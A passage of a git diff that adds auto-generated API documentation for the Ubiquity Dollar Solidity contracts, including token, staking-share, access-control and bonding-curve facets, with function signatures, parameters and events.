+ +### pause + +Pauses all token transfers + + +```solidity +function pause() public virtual onlyPauser; +``` + +### unpause + +Unpauses all token transfers + + +```solidity +function unpause() public virtual onlyPauser; +``` + +### safeTransferFrom + +Transfers `amount` tokens of token type `id` from `from` to `to`. +Emits a `TransferSingle` event. +Requirements: +- `to` cannot be the zero address. +- If the caller is not `from`, it must have been approved to spend ``from``'s tokens via `setApprovalForAll`. +- `from` must have a balance of tokens of type `id` of at least `amount`. +- If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155Received` and return the +acceptance magic value. + + +```solidity +function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) + public + virtual + override; +``` + +### safeBatchTransferFrom + +Batched version of `safeTransferFrom()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. +- If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155BatchReceived` and return the +acceptance magic value. + + +```solidity +function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) public virtual override; +``` + +### holderTokens + +Returns array of token ids held by the `holder` + + +```solidity +function holderTokens(address holder) public view returns (uint256[] memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`holder`|`address`|Account to check tokens for| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256[]`|Array of tokens which `holder` has| + + +### _burn + +Destroys `amount` tokens of token type `id` from `account` +Emits a `TransferSingle` event. +Requirements: +- `account` cannot be the zero address. +- `account` must have at least `amount` tokens of token type `id`. + + +```solidity +function _burn(address account, uint256 id, uint256 amount) internal virtual override whenNotPaused; +``` + +### _burnBatch + +Batched version of `_burn()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. + + +```solidity +function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) + internal + virtual + override + whenNotPaused; +``` + +### _beforeTokenTransfer + +Hook that is called before any token transfer. This includes minting +and burning, as well as batched variants. +The same hook is called on both single and batched variants. For single +transfers, the length of the `ids` and `amounts` arrays will be 1. +Calling conditions (for each `id` and `amount` pair): +- When `from` and `to` are both non-zero, `amount` of ``from``'s tokens +of token type `id` will be transferred to `to`. +- When `from` is zero, `amount` tokens of token type `id` will be minted +for `to`. +- when `to` is zero, `amount` of ``from``'s tokens of token type `id` +will be burned. +- `from` and `to` are never both zero. +- `ids` and `amounts` have the same, non-zero length. + + +```solidity +function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) internal virtual override(ERC1155PausableUpgradeable, ERC1155Upgradeable); +``` + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal virtual override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + diff --git a/packages/contracts/docs/src/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md b/packages/contracts/docs/src/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md new file mode 100644 index 000000000..5a0aacf4c --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md @@ -0,0 +1,283 @@ +# ERC20Ubiquity +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/ERC20Ubiquity.sol) + +**Inherits:** +Initializable, UUPSUpgradeable, ERC20Upgradeable, ERC20PermitUpgradeable, ERC20PausableUpgradeable + +Base contract for Ubiquity ERC20 tokens (Dollar, Credit, Governance) + +ERC20 with: +- ERC20 minter, burner and pauser +- draft-ERC20 permit +- Ubiquity Manager access control + + +## State Variables +### _symbol +Token symbol + + +```solidity +string private _symbol; +``` + + +### accessControl +Access control interface + + +```solidity +IAccessControl public accessControl; +``` + + +### __gap +Allows for future upgrades on the base contract without affecting the storage of the derived contract + + +```solidity +uint256[50] private __gap; +``` + + +## Functions +### onlyPauser + +Modifier checks that the method is called by a user with the "pauser" role + + +```solidity +modifier onlyPauser(); +``` + +### onlyAdmin + +Modifier checks that the method is called by a user with the "admin" role + + +```solidity +modifier onlyAdmin(); +``` + +### constructor + +Ensures __ERC20Ubiquity_init cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### __ERC20Ubiquity_init + +Initializes this contract with all base(parent) contracts + + +```solidity +function __ERC20Ubiquity_init(address _manager, string memory name_, string memory symbol_) internal onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| +|`name_`|`string`|Token name| +|`symbol_`|`string`|Token symbol| + + +### __ERC20Ubiquity_init_unchained + +Initializes the current contract + + +```solidity +function __ERC20Ubiquity_init_unchained(address _manager, string memory symbol_) internal onlyInitializing; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| +|`symbol_`|`string`|Token symbol| + + +### setSymbol + +Updates token symbol + + +```solidity +function setSymbol(string memory newSymbol) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newSymbol`|`string`|New token symbol name| + + +### symbol + +Returns token symbol name + + +```solidity +function symbol() public view virtual override returns (string memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`string`|Token symbol name| + + +### getManager + +Returns access control address + + +```solidity +function getManager() external view returns (address); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`address`|Access control address| + + +### setManager + +Sets access control address + + +```solidity +function setManager(address _manager) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|New access control address| + + +### pause + +Pauses all token transfers + + +```solidity +function pause() public onlyPauser; +``` + +### unpause + +Unpauses all token transfers + + +```solidity +function unpause() public onlyPauser; +``` + +### burn + +Destroys `amount` tokens from the caller + + +```solidity +function burn(uint256 amount) public virtual whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount of tokens to destroy| + + +### burnFrom + +Destroys `amount` tokens from `account`, deducting from the caller's +allowance + +Requirements: +- the caller must have allowance for `account`'s tokens of at least `amount` + + +```solidity +function burnFrom(address account, uint256 amount) public virtual; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to burn tokens from| +|`amount`|`uint256`|Amount of tokens to burn| + + +### _beforeTokenTransfer + +Hook that is called before any transfer of tokens. This includes +minting and burning. +Calling conditions: +- when `from` and `to` are both non-zero, `amount` of ``from``'s tokens +will be transferred to `to`. +- when `from` is zero, `amount` tokens will be minted for `to`. +- when `to` is zero, `amount` of ``from``'s tokens will be burned. +- `from` and `to` are never both zero. + + +```solidity +function _beforeTokenTransfer(address from, address to, uint256 amount) + internal + virtual + override(ERC20Upgradeable, ERC20PausableUpgradeable); +``` + +### _transfer + +Moves `amount` of tokens from `from` to `to`. +This internal function is equivalent to `transfer`, and can be used to +e.g. implement automatic token fees, slashing mechanisms, etc. +Emits a `Transfer` event. +Requirements: +- `from` cannot be the zero address. +- `to` cannot be the zero address. +- `from` must have a balance of at least `amount`. + + +```solidity +function _transfer(address sender, address recipient, uint256 amount) internal virtual override whenNotPaused; +``` + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal virtual override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + +## Events +### Burning +Emitted when tokens are burned + + +```solidity +event Burning(address indexed _burned, uint256 _amount); +``` + +### Minting +Emitted when tokens are minted + + +```solidity +event Minting(address indexed _to, address indexed _minter, uint256 _amount); +``` + diff --git a/packages/contracts/docs/src/src/dollar/core/README.md b/packages/contracts/docs/src/src/dollar/core/README.md new file mode 100644 index 000000000..c6373b440 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/README.md @@ -0,0 +1,10 @@ + + +# Contents +- [CreditNft](CreditNft.sol/contract.CreditNft.md) +- [ERC1155Ubiquity](ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md) +- [ERC20Ubiquity](ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md) +- [StakingShare](StakingShare.sol/contract.StakingShare.md) +- [UbiquityCreditToken](UbiquityCreditToken.sol/contract.UbiquityCreditToken.md) +- [UbiquityDollarToken](UbiquityDollarToken.sol/contract.UbiquityDollarToken.md) +- [UbiquityGovernanceToken](UbiquityGovernanceToken.sol/contract.UbiquityGovernanceToken.md) diff --git a/packages/contracts/docs/src/src/dollar/core/StakingShare.sol/contract.StakingShare.md b/packages/contracts/docs/src/src/dollar/core/StakingShare.sol/contract.StakingShare.md new file mode 100644 index 000000000..a33bd25ce --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/StakingShare.sol/contract.StakingShare.md @@ -0,0 +1,379 @@ +# StakingShare +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/StakingShare.sol) + +**Inherits:** +[ERC1155Ubiquity](/src/dollar/core/ERC1155Ubiquity.sol/abstract.ERC1155Ubiquity.md), ERC1155URIStorageUpgradeable + +Contract representing a staking share in the form of ERC1155 token + + +## State Variables +### _stakes +Mapping of stake id to stake info + + +```solidity +mapping(uint256 => Stake) private _stakes; +``` + + +### _totalLP +Total LP amount staked + + +```solidity +uint256 private _totalLP; +``` + + +### _baseURI +Base token URI + + +```solidity +string private _baseURI; +``` + + +## Functions +### onlyMinter + +Modifier checks that the method is called by a user with the "Staking share minter" role + + +```solidity +modifier onlyMinter() override; +``` + +### onlyBurner + +Modifier checks that the method is called by a user with the "Staking share burner" role + + +```solidity +modifier onlyBurner() override; +``` + +### onlyPauser + +Modifier checks that the method is called by a user with the "Pauser" role + + +```solidity +modifier onlyPauser() override; +``` + +### constructor + +Ensures initialize cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### initialize + +Initializes this contract + + +```solidity +function initialize(address _manager, string memory _uri) public virtual initializer; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the manager of the contract| +|`_uri`|`string`|Base URI| + + +### updateStake + +Updates a staking share + + +```solidity +function updateStake(uint256 _stakeId, uint256 _lpAmount, uint256 _lpRewardDebt, uint256 _endBlock) + external + onlyMinter + whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_stakeId`|`uint256`|Staking share id| +|`_lpAmount`|`uint256`|Amount of Dollar-3CRV LP tokens deposited| +|`_lpRewardDebt`|`uint256`|Amount of excess LP token inside the staking contract| +|`_endBlock`|`uint256`|Block number when the locking period ends| + + +### mint + +Mints a single staking share token for the `to` address + + +```solidity +function mint(address to, uint256 lpDeposited, uint256 lpRewardDebt, uint256 endBlock) + public + virtual + onlyMinter + whenNotPaused + returns (uint256 id); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Owner address| +|`lpDeposited`|`uint256`|Amount of Dollar-3CRV LP tokens deposited| +|`lpRewardDebt`|`uint256`|Amount of excess LP tokens inside the staking contract| +|`endBlock`|`uint256`|Block number when the locking period ends| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Minted staking share id| + + +### safeTransferFrom + +Transfers `amount` tokens of token type `id` from `from` to `to`. +Emits a {TransferSingle} event. +Requirements: +- `to` cannot be the zero address. +- If the caller is not `from`, it must have been approved to spend ``from``'s tokens via {setApprovalForAll}. +- `from` must have a balance of tokens of type `id` of at least `amount`. +- If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the +acceptance magic value. + + +```solidity +function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) + public + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused; +``` + +### totalLP + +Returns total amount of Dollar-3CRV LP tokens deposited + + +```solidity +function totalLP() public view virtual returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Total amount of LP tokens deposited| + + +### getStake + +Returns stake info + + +```solidity +function getStake(uint256 id) public view returns (Stake memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`id`|`uint256`|Staking share id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`Stake`|Staking share info| + + +### safeBatchTransferFrom + +Batched version of `safeTransferFrom()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. +- If `to` refers to a smart contract, it must implement `IERC1155Receiver-onERC1155BatchReceived` and return the +acceptance magic value. + + +```solidity +function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) public virtual override(ERC1155Upgradeable, ERC1155Ubiquity) whenNotPaused; +``` + +### _burnBatch + +Batched version of `_burn()` +Emits a `TransferBatch` event. +Requirements: +- `ids` and `amounts` must have the same length. + + +```solidity +function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) + internal + virtual + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused; +``` + +### _beforeTokenTransfer + +Hook that is called before any token transfer. This includes minting +and burning, as well as batched variants. +The same hook is called on both single and batched variants. For single +transfers, the length of the `ids` and `amounts` arrays will be 1. +Calling conditions (for each `id` and `amount` pair): +- When `from` and `to` are both non-zero, `amount` of ``from``'s tokens +of token type `id` will be transferred to `to`. +- When `from` is zero, `amount` tokens of token type `id` will be minted +for `to`. +- when `to` is zero, `amount` of ``from``'s tokens of token type `id` +will be burned. +- `from` and `to` are never both zero. +- `ids` and `amounts` have the same, non-zero length. + + +```solidity +function _beforeTokenTransfer( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data +) internal virtual override(ERC1155Upgradeable, ERC1155Ubiquity); +``` + +### uri + +Returns URI by token id + + +```solidity +function uri(uint256 tokenId) + public + view + virtual + override(ERC1155Upgradeable, ERC1155URIStorageUpgradeable) + returns (string memory); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`tokenId`|`uint256`|Token id| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`string`|URI string| + + +### _burn + +Destroys `amount` tokens of token type `id` from `account` +Emits a `TransferSingle` event. +Requirements: +- `account` cannot be the zero address. +- `account` must have at least `amount` tokens of token type `id`. + + +```solidity +function _burn(address account, uint256 id, uint256 amount) + internal + virtual + override(ERC1155Upgradeable, ERC1155Ubiquity) + whenNotPaused; +``` + +### setUri + +Sets URI for token type `tokenId` + + +```solidity +function setUri(uint256 tokenId, string memory tokenUri) external onlyMinter; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`tokenId`|`uint256`|Token type id| +|`tokenUri`|`string`|Token URI| + + +### setBaseUri + +Sets base URI for all token types + + +```solidity +function setBaseUri(string memory newUri) external onlyMinter; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newUri`|`string`|New URI string| + + +### getBaseUri + +Returns base URI for all token types + + +```solidity +function getBaseUri() external view returns (string memory); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`string`|Base URI string| + + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + +## Structs +### Stake +Stake struct + + +```solidity +struct Stake { + address minter; + uint256 lpFirstDeposited; + uint256 creationBlock; + uint256 lpRewardDebt; + uint256 endBlock; + uint256 lpAmount; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/core/UbiquityCreditToken.sol/contract.UbiquityCreditToken.md b/packages/contracts/docs/src/src/dollar/core/UbiquityCreditToken.sol/contract.UbiquityCreditToken.md new file mode 100644 index 000000000..b20bf9da1 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/UbiquityCreditToken.sol/contract.UbiquityCreditToken.md @@ -0,0 +1,116 @@ +# UbiquityCreditToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/UbiquityCreditToken.sol) + +**Inherits:** +[ERC20Ubiquity](/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md) + +Credit token contract + + +## Functions +### constructor + +Ensures initialize cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### initialize + +Initializes the contract + + +```solidity +function initialize(address _manager) public initializer; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the Ubiquity Manager| + + +### onlyCreditMinter + +Modifier checks that the method is called by a user with the "Credit minter" role + + +```solidity +modifier onlyCreditMinter(); +``` + +### onlyCreditBurner + +Modifier checks that the method is called by a user with the "Credit burner" role + + +```solidity +modifier onlyCreditBurner(); +``` + +### raiseCapital + +Raises capital in the form of Ubiquity Credit Token + +*CREDIT_TOKEN_MINTER_ROLE access control role is required to call this function* + + +```solidity +function raiseCapital(uint256 amount) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`amount`|`uint256`|Amount to be minted| + + +### burnFrom + +Burns Ubiquity Credit tokens from specified account + + +```solidity +function burnFrom(address account, uint256 amount) public override onlyCreditBurner whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Account to burn from| +|`amount`|`uint256`|Amount to burn| + + +### mint + +Creates `amount` new Credit tokens for `to` + + +```solidity +function mint(address to, uint256 amount) public onlyCreditMinter whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Account to mint Credit tokens to| +|`amount`|`uint256`|Amount of Credit tokens to mint| + + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + diff --git a/packages/contracts/docs/src/src/dollar/core/UbiquityDollarToken.sol/contract.UbiquityDollarToken.md b/packages/contracts/docs/src/src/dollar/core/UbiquityDollarToken.sol/contract.UbiquityDollarToken.md new file mode 100644 index 000000000..8eb258159 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/UbiquityDollarToken.sol/contract.UbiquityDollarToken.md @@ -0,0 +1,99 @@ +# UbiquityDollarToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/UbiquityDollarToken.sol) + +**Inherits:** +[ERC20Ubiquity](/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md) + +Ubiquity Dollar token contract + + +## Functions +### constructor + +Ensures initialize cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### initialize + +Initializes the contract + + +```solidity +function initialize(address _manager) public initializer; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the Ubiquity Manager| + + +### onlyDollarMinter + +Modifier checks that the method is called by a user with the "Dollar minter" role + + +```solidity +modifier onlyDollarMinter(); +``` + +### onlyDollarBurner + +Modifier checks that the method is called by a user with the "Dollar burner" role + + +```solidity +modifier onlyDollarBurner(); +``` + +### burnFrom + +Burns Dollars from the `account` address + + +```solidity +function burnFrom(address account, uint256 amount) public override onlyDollarBurner whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to burn tokens from| +|`amount`|`uint256`|Amount of tokens to burn| + + +### mint + +Mints Dollars to the `to` address + + +```solidity +function mint(address to, uint256 amount) public onlyDollarMinter whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address to mint tokens to| +|`amount`|`uint256`|Amount of tokens to mint| + + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + diff --git a/packages/contracts/docs/src/src/dollar/core/UbiquityGovernanceToken.sol/contract.UbiquityGovernanceToken.md b/packages/contracts/docs/src/src/dollar/core/UbiquityGovernanceToken.sol/contract.UbiquityGovernanceToken.md new file mode 100644 index 000000000..7e945b793 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/core/UbiquityGovernanceToken.sol/contract.UbiquityGovernanceToken.md @@ -0,0 +1,99 @@ +# UbiquityGovernanceToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/core/UbiquityGovernanceToken.sol) + +**Inherits:** +[ERC20Ubiquity](/src/dollar/core/ERC20Ubiquity.sol/abstract.ERC20Ubiquity.md) + +Ubiquity Governance token contract + + +## Functions +### constructor + +Ensures initialize cannot be called on the implementation contract + + +```solidity +constructor(); +``` + +### initialize + +Initializes the contract + + +```solidity +function initialize(address _manager) public initializer; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_manager`|`address`|Address of the Ubiquity Manager| + + +### onlyGovernanceMinter + +Modifier checks that the method is called by a user with the "Governance minter" role + + +```solidity +modifier onlyGovernanceMinter(); +``` + +### onlyGovernanceBurner + +Modifier checks that the method is called by a user with the "Governance burner" role + + +```solidity +modifier onlyGovernanceBurner(); +``` + +### burnFrom + +Burns Governance tokens from the `account` address + + +```solidity +function burnFrom(address account, uint256 amount) public override onlyGovernanceBurner whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`account`|`address`|Address to burn tokens from| +|`amount`|`uint256`|Amount of tokens to burn| + + +### mint + +Mints Governance tokens to the `to` address + + +```solidity +function mint(address to, uint256 amount) public onlyGovernanceMinter whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`to`|`address`|Address to mint tokens to| +|`amount`|`uint256`|Amount of tokens to mint| + + +### _authorizeUpgrade + +Allows an admin to upgrade to another implementation contract + + +```solidity +function _authorizeUpgrade(address newImplementation) internal override onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`newImplementation`|`address`|Address of the new implementation contract| + + diff --git a/packages/contracts/docs/src/src/dollar/facets/AccessControlFacet.sol/contract.AccessControlFacet.md b/packages/contracts/docs/src/src/dollar/facets/AccessControlFacet.sol/contract.AccessControlFacet.md new file mode 100644 index 000000000..2437cf510 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/AccessControlFacet.sol/contract.AccessControlFacet.md @@ -0,0 +1,147 @@ +# AccessControlFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/AccessControlFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md), [IAccessControl](/src/dollar/interfaces/IAccessControl.sol/interface.IAccessControl.md), [AccessControlInternal](/src/dollar/access/AccessControlInternal.sol/abstract.AccessControlInternal.md) + +Role-based access control facet + +*Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license)* + +*https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/access/access_control/AccessControl.sol* + + +## Functions +### grantRole + +Assigns role to a given account + + +```solidity +function grantRole(bytes32 role, address account) external onlyRole(_getRoleAdmin(role)); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to assign| +|`account`|`address`|Recipient address of role assignment| + + +### setRoleAdmin + +Sets admin role for a given role + + +```solidity +function setRoleAdmin(bytes32 role, bytes32 adminRole) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to set| +|`adminRole`|`bytes32`|Admin role to set for a provided role| + + +### hasRole + +Checks whether role is assigned to account + + +```solidity +function hasRole(bytes32 role, address account) external view returns (bool); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to check| +|`account`|`address`|Address to check| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bool`|Whether role is assigned to account| + + +### getRoleAdmin + +Returns admin role for a given role + + +```solidity +function getRoleAdmin(bytes32 role) external view returns (bytes32); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to query| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`bytes32`|Admin role for a provided role| + + +### revokeRole + +Unassign role from a given account + + +```solidity +function revokeRole(bytes32 role, address account) external onlyRole(_getRoleAdmin(role)); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to unassign| +|`account`|`address`|Address from which the provided role should be unassigned| + + +### renounceRole + +Renounce role + + +```solidity +function renounceRole(bytes32 role) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`role`|`bytes32`|Role to renounce| + + +### paused + +Returns true if the contract is paused and false otherwise + + +```solidity +function paused() public view returns (bool); +``` + +### pause + +Pauses the contract + + +```solidity +function pause() external whenNotPaused onlyAdmin; +``` + +### unpause + +Unpauses the contract + + +```solidity +function unpause() external whenPaused onlyAdmin; +``` + diff --git a/packages/contracts/docs/src/src/dollar/facets/BondingCurveFacet.sol/contract.BondingCurveFacet.md b/packages/contracts/docs/src/src/dollar/facets/BondingCurveFacet.sol/contract.BondingCurveFacet.md new file mode 100644 index 000000000..2f153edaf --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/facets/BondingCurveFacet.sol/contract.BondingCurveFacet.md @@ -0,0 +1,191 @@ +# BondingCurveFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/facets/BondingCurveFacet.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md), [IBondingCurve](/src/dollar/interfaces/IBondingCurve.sol/interface.IBondingCurve.md) + +Bonding curve contract based on Bancor formula + +Inspired from Bancor protocol https://github.com/bancorprotocol/contracts + +Used on UbiquiStick NFT minting + + +## Functions +### setParams + +Sets bonding curve params + + +```solidity +function setParams(uint32 _connectorWeight, uint256 _baseY) external onlyAdmin; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_connectorWeight`|`uint32`|Connector weight| +|`_baseY`|`uint256`|Base Y| + + +### connectorWeight + +Returns `connectorWeight` value + + +```solidity +function connectorWeight() external view returns (uint32); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint32`|Connector weight value| + + +### baseY + +Returns `baseY` value + + +```solidity +function baseY() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Base Y value| + + +### poolBalance + +Returns total balance of deposited collateral + + +```solidity +function poolBalance() external view returns (uint256); +``` +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of deposited collateral| + + +### deposit + +Deposits collateral tokens in exchange for UbiquiStick NFT + + +```solidity +function deposit(uint256 _collateralDeposited, address _recipient) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_collateralDeposited`|`uint256`|Amount of collateral| +|`_recipient`|`address`|Address to receive the NFT| + + +### getShare + +Returns number of NFTs a `_recipient` holds + + +```solidity +function getShare(address _recipient) external view returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_recipient`|`address`|User address| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of NFTs for `_recipient`| + + +### withdraw + +Withdraws collateral tokens to treasury + + +```solidity +function withdraw(uint256 _amount) external onlyAdmin whenNotPaused; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_amount`|`uint256`|Amount of collateral tokens to withdraw| + + +### purchaseTargetAmount + +Given a token supply, reserve balance, weight and a deposit amount (in the reserve token), +calculates the target amount for a given conversion (in the main token) + +`_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + + +```solidity +function purchaseTargetAmount( + uint256 _tokensDeposited, + uint32 _connectorWeight, + uint256 _supply, + uint256 _connectorBalance +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_tokensDeposited`|`uint256`|Amount of collateral tokens to deposit| +|`_connectorWeight`|`uint32`|Connector weight, represented in ppm, 1 - 1,000,000| +|`_supply`|`uint256`|Current token supply| +|`_connectorBalance`|`uint256`|Total connector balance| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of tokens minted| + + +### purchaseTargetAmountFromZero + +Given a deposit (in the collateral token) token supply of 0, calculates the return +for a given conversion (in the token) + +`_supply * ((1 + _tokensDeposited / _connectorBalance) ^ (_connectorWeight / 1000000) - 1)` + + +```solidity +function purchaseTargetAmountFromZero( + uint256 _tokensDeposited, + uint256 _connectorWeight, + uint256 _baseX, + uint256 _baseY +) external pure returns (uint256); +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_tokensDeposited`|`uint256`|Amount of collateral tokens to deposit| +|`_connectorWeight`|`uint256`|Connector weight, represented in ppm, 1 - 1,000,000| +|`_baseX`|`uint256`|Constant x| +|`_baseY`|`uint256`|Expected price| + +**Returns** + +|Name|Type|Description| +|----|----|-----------| +|``|`uint256`|Amount of tokens minted| + + diff --git 